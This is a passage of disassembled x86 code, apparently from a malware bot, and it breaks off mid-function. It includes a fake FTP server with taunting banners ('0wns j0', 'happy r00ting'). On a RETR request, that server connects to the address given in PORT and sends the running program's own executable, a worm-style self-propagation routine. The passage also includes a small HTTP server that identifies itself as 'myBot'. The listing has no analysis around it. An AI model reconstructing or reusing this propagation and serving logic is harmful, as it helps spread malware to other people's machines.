loc_4052FA: ; CODE XREF: .text:004052EEj
mov word ptr [ebp-10h], 2
loc_405300: ; CODE XREF: .text:004052F8j
push 598h
call dword_4211E0 ; ntohs
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call dword_4211E8 ; connect
test eax, eax
jnz short loc_405381
push eax
push 152h
push offset dword_4265F0
push edi
call dword_4211F0 ; send
push 3E8h
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40514F
add esp, 0BCh
test al, al
jz short loc_405361
xor eax, eax
inc eax
jmp short loc_405393
; ---------------------------------------------------------------------------
loc_405361: ; CODE XREF: .text:0040535Aj
lea eax, [ebp-210h]
push eax
call sub_40B078
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
jmp short loc_405391
; ---------------------------------------------------------------------------
loc_405381: ; CODE XREF: .text:0040531Ej
push 1
push edi
call dword_4211D0 ; shutdown
push edi
call dword_4211F4 ; closesocket
loc_405391: ; CODE XREF: .text:0040537Fj
xor eax, eax
loc_405393: ; CODE XREF: .text:0040535Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405398 proc near ; DATA XREF: sub_4071B6+227o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_238], edi
mov [ebp+var_438], edi
call dword_4211B4 ; WSAStartup
push edi
call sub_41697B
push eax
call sub_415368
push 0FA00h
push 471h
call sub_413F12
add esp, 10h
mov dword_43B670, eax
push edi
push ebx
push 2
call dword_4211E4 ; socket
mov esi, eax
lea eax, [ebp+var_24]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4211B8 ; setsockopt
lea eax, [ebp+var_28]
push eax
push 8004667Eh
push esi
call dword_4211BC ; ioctlsocket
mov ax, word ptr dword_43B670
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_4211E0 ; ntohs
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_4211C0 ; bind
test eax, eax
jge short loc_40546D
mov eax, ebx
jmp loc_405978
; ---------------------------------------------------------------------------
loc_40546D: ; CODE XREF: sub_405398+CCj
push 0Ah
push esi
call dword_4211C4 ; listen
mov [ebp+var_238], ebx
mov ebx, dword_4211F0
mov [ebp+var_234], esi
mov [ebp+var_4], esi
loc_40548B: ; CODE XREF: sub_405398+12Aj
; sub_405398+5D8j
push 41h
lea esi, [ebp+var_238]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4211D4 ; select
cmp eax, 0FFFFFFFFh
jz loc_405975
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40548B
loc_4054C4: ; CODE XREF: sub_405398+5D2j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415390
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_415390
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_420A06 ; __WSAFDIsSet
test eax, eax
jz loc_405963
cmp edi, [ebp+var_C]
jnz short loc_40556D
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_134]
push eax
push [ebp+var_C]
call dword_4211C8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_405963
mov edx, [ebp+var_238]
xor ecx, ecx
cmp edx, esi
jbe short loc_40553F
loc_405531: ; CODE XREF: sub_405398+1A5j
cmp [ebp+ecx*4+var_234], eax
jz short loc_40553F
inc ecx
cmp ecx, edx
jb short loc_405531
loc_40553F: ; CODE XREF: sub_405398+197j
; sub_405398+1A0j
cmp ecx, edx
jnz short loc_405555
cmp edx, 40h
jnb short loc_405555
mov [ebp+ecx*4+var_234], eax
inc [ebp+var_238]
loc_405555: ; CODE XREF: sub_405398+1A9j
; sub_405398+1AEj
cmp eax, [ebp+var_4]
jle short loc_40555D
mov [ebp+var_4], eax
loc_40555D: ; CODE XREF: sub_405398+1C0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_405963
; ---------------------------------------------------------------------------
loc_40556D: ; CODE XREF: sub_405398+167j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4211EC ; recv
test eax, eax
jg short loc_4055CA
mov ecx, [ebp+var_238]
xor eax, eax
cmp ecx, esi
jbe short loc_4055BE
loc_40558E: ; CODE XREF: sub_405398+202j
cmp [ebp+eax*4+var_234], edi
jz short loc_4055B3
inc eax
cmp eax, ecx
jb short loc_40558E
jmp short loc_4055BE
; ---------------------------------------------------------------------------
loc_40559E: ; CODE XREF: sub_405398+21Ej
mov ecx, [ebp+eax*4+var_230]
mov [ebp+eax*4+var_234], ecx
mov ecx, [ebp+var_238]
inc eax
loc_4055B3: ; CODE XREF: sub_405398+1FDj
dec ecx
cmp eax, ecx
jb short loc_40559E
dec [ebp+var_238]
loc_4055BE: ; CODE XREF: sub_405398+1F4j
; sub_405398+204j
push edi
call dword_4211F4 ; closesocket
jmp loc_405963
; ---------------------------------------------------------------------------
loc_4055CA: ; CODE XREF: sub_405398+1E8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_416947
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_415730
add esp, 18h
test eax, eax
jnz short loc_40560E
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40560E: ; CODE XREF: sub_405398+267j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405632
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405632: ; CODE XREF: sub_405398+28Bj
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405656
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405656: ; CODE XREF: sub_405398+2AFj
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40567A
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40567A: ; CODE XREF: sub_405398+2D3j
lea eax, [ebp+var_AC]
push offset off_42694C
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40569E
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40569E: ; CODE XREF: sub_405398+2F7j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D9
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D9
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_4056D9: ; CODE XREF: sub_405398+31Bj
; sub_405398+332j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405714
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405714
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405714: ; CODE XREF: sub_405398+356j
; sub_405398+36Dj
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405762
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_124]
loc_405752: ; CODE XREF: sub_405398+409j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_405951
; ---------------------------------------------------------------------------
loc_405762: ; CODE XREF: sub_405398+391j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4057A3
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_405752
; ---------------------------------------------------------------------------
loc_4057A3: ; CODE XREF: sub_405398+3DFj
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_405874
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_416947
lea eax, [ebp+var_F8]
push eax
call sub_41587F
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_41587F
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_415390
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_415316
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_416930
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_415316
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405874: ; CODE XREF: sub_405398+420j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40592F
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_40597F
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405925
call sub_4059FC
cmp eax, 1
jnz loc_405951
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_43B670
push eax
lea eax, [ebp+var_8DC]
push offset dword_426790
push eax
call sub_415316
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405916
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_412BD1
add esp, 14h
loc_405916: ; CODE XREF: sub_405398+559j
lea eax, [ebp+var_8DC]
push eax
call sub_40B078
pop ecx
jmp short loc_405951
; ---------------------------------------------------------------------------
loc_405925: ; CODE XREF: sub_405398+513j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40594E
; ---------------------------------------------------------------------------
loc_40592F: ; CODE XREF: sub_405398+4F1j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405951
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40594E: ; CODE XREF: sub_405398+271j
; sub_405398+295j ...
push edi
call ebx ; send
loc_405951: ; CODE XREF: sub_405398+3C5j
; sub_405398+51Dj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415390
add esp, 0Ch
loc_405963: ; CODE XREF: sub_405398+15Ej
; sub_405398+187j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_4054C4
jmp loc_40548B
; ---------------------------------------------------------------------------
loc_405975: ; CODE XREF: sub_405398+11Ej
xor eax, eax
inc eax
loc_405978: ; CODE XREF: sub_405398+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40597F proc near ; CODE XREF: sub_405398+509p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4211B4 ; WSAStartup
push 0
push 1
push 2
call dword_4211E4 ; socket
push [ebp+arg_0]
mov dword_43B66C, eax
mov [ebp+var_10], 2
call dword_4211DC ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4211E0 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43B66C
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4059F7
push dword_43B66C
call dword_4211F4 ; closesocket
call dword_4211B0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4059F7: ; CODE XREF: sub_40597F+60j
xor eax, eax
inc eax
leave
retn
sub_40597F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059FC proc near ; CODE XREF: sub_405398+515p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_415A08
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405A93
test byte ptr [esi+0Ch], 10h
jnz short loc_405A77
push edi
mov edi, 400h
loc_405A3F: ; CODE XREF: sub_4059FC+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_416A57
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43B66C
call dword_4211F0 ; send
push 1
call dword_421060 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_405A3F
pop edi
loc_405A77: ; CODE XREF: sub_4059FC+3Bj
push esi
call sub_415960
pop ecx
push dword_43B66C
call dword_4211F4 ; closesocket
call dword_4211B0 ; WSACleanup
xor eax, eax
inc eax
loc_405A93: ; CODE XREF: sub_4059FC+35j
pop esi
leave
retn
sub_4059FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A96 proc near ; DATA XREF: sub_4071B6+333o
; sub_40CD3A+5007o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_415390
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43CA24 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43CAA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_405E5C
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_441BA4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43CA50 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405E5C
push 7FFFFFFFh
push edi
call dword_43CA4C ; listen
cmp eax, 0FFFFFFFFh
jz loc_405E5C
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43CAC0 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_405E5C
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_405B6D: ; CODE XREF: sub_405A96+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43CA0C ; select
cmp eax, 0FFFFFFFFh
jz loc_405E57
xor edi, edi
mov [ebp+arg_0], edi
loc_405BA3: ; CODE XREF: sub_405A96+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_43C91C ; __WSAFDIsSet
test eax, eax
jz loc_405E42
cmp edi, [ebp+var_8]
jnz short loc_405C24
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_43CAB8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_405E42
xor ecx, ecx
test ebx, ebx
jbe short loc_405BF6
loc_405BE8: ; CODE XREF: sub_405A96+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_405BF6
inc ecx
cmp ecx, ebx
jb short loc_405BE8
loc_405BF6: ; CODE XREF: sub_405A96+150j
; sub_405A96+159j
cmp ecx, ebx
jnz short loc_405C13
cmp ebx, 40h
jnb short loc_405C13
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_405C13: ; CODE XREF: sub_405A96+162j
; sub_405A96+167j
cmp eax, [ebp+var_4]
jbe loc_405E42
mov [ebp+var_4], eax
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405C24: ; CODE XREF: sub_405A96+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_415390
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415390
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_43CA3C ; recv
test eax, eax
jg short loc_405CAB
push edi
call dword_43CABC ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_405E42
loc_405C70: ; CODE XREF: sub_405A96+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_405C98
inc eax
cmp eax, ebx
jb short loc_405C70
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405C83: ; CODE XREF: sub_405A96+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405C98: ; CODE XREF: sub_405A96+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405C83
dec ebx
mov [ebp+var_128], ebx
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405CAB: ; CODE XREF: sub_405A96+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_415390
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_415B10
add esp, 10h
test eax, eax
jbe loc_405E42
loc_405CD8: ; CODE XREF: sub_405A96+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405D7E
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_405D4E
lea eax, [ebp+var_18F0]
push eax
call sub_415B10
cmp eax, 5
pop ecx
jbe short loc_405D4E
mov eax, offset asc_426A34 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4158E0
pop ecx
pop ecx
push eax
call sub_4158E0
pop ecx
pop ecx
push eax
call sub_416B3F
push eax
lea eax, [ebp+var_23C]
push eax
call sub_415A20
add esp, 10h
jmp short loc_405D65
; ---------------------------------------------------------------------------
loc_405D4E: ; CODE XREF: sub_405A96+26Ej
; sub_405A96+280j
lea eax, [ebp+var_18F0]
push offset asc_426A30 ; "\r\n"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_405D9A
loc_405D65: ; CODE XREF: sub_405A96+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415390
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405D7E: ; CODE XREF: sub_405A96+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_415B10
cmp edi, eax
pop ecx
jb loc_405CD8
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405D9A: ; CODE XREF: sub_405A96+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_405DD6
loc_405DA0: ; CODE XREF: sub_405A96+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_405DC8
inc eax
cmp eax, ebx
jb short loc_405DA0
jmp short loc_405DD6
; ---------------------------------------------------------------------------
loc_405DB3: ; CODE XREF: sub_405A96+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405DC8: ; CODE XREF: sub_405A96+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405DB3
dec ebx
mov [ebp+var_128], ebx
loc_405DD6: ; CODE XREF: sub_405A96+308j
; sub_405A96+31Bj
lea eax, [ebp+var_360]
push eax
call sub_415B10
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_415B10
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_405E39
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_43CAC0 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_406048
add esp, 14h
jmp short loc_405E42
; ---------------------------------------------------------------------------
loc_405E39: ; CODE XREF: sub_405A96+364j
push [ebp+arg_0]
call dword_43CABC ; closesocket
loc_405E42: ; CODE XREF: sub_405A96+11Dj
; sub_405A96+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_405BA3
jmp loc_405B6D
; ---------------------------------------------------------------------------
loc_405E57: ; CODE XREF: sub_405A96+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_405E5C: ; CODE XREF: sub_405A96+6Aj
; sub_405A96+92j ...
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4269E8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405EA2
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_412BD1
add esp, 14h
loc_405EA2: ; CODE XREF: sub_405A96+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_40B078
pop ecx
push edi
call dword_43CABC ; closesocket
push [ebp+var_254]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_405A96 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405ECC proc near ; DATA XREF: sub_406048+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_415B90
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_415316
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_415316
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_405F37
push offset aTextHtml ; "text/html"
jmp short loc_405F3C
; ---------------------------------------------------------------------------
loc_405F37: ; CODE XREF: sub_405ECC+62j
push offset aApplicationOct ; "application/octet-stream"
loc_405F3C: ; CODE XREF: sub_405ECC+69j
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_421080 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_405FAF
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_415316
add esp, 24h
jmp short loc_405FCA
; ---------------------------------------------------------------------------
loc_405FAF: ; CODE XREF: sub_405ECC+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_415316
add esp, 28h
loc_405FCA: ; CODE XREF: sub_405ECC+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43CA74 ; send
cmp [ebp+var_A4], edi
jnz short loc_40600A
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406978
pop ecx
pop ecx
jmp short loc_406027
; ---------------------------------------------------------------------------
loc_40600A: ; CODE XREF: sub_405ECC+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4062F7
add esp, 10h
loc_406027: ; CODE XREF: sub_405ECC+13Cj
push [ebp+var_44C]
call dword_43CABC ; closesocket
push [ebp+var_B4]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_405ECC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406048 proc near ; CODE XREF: sub_405A96+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
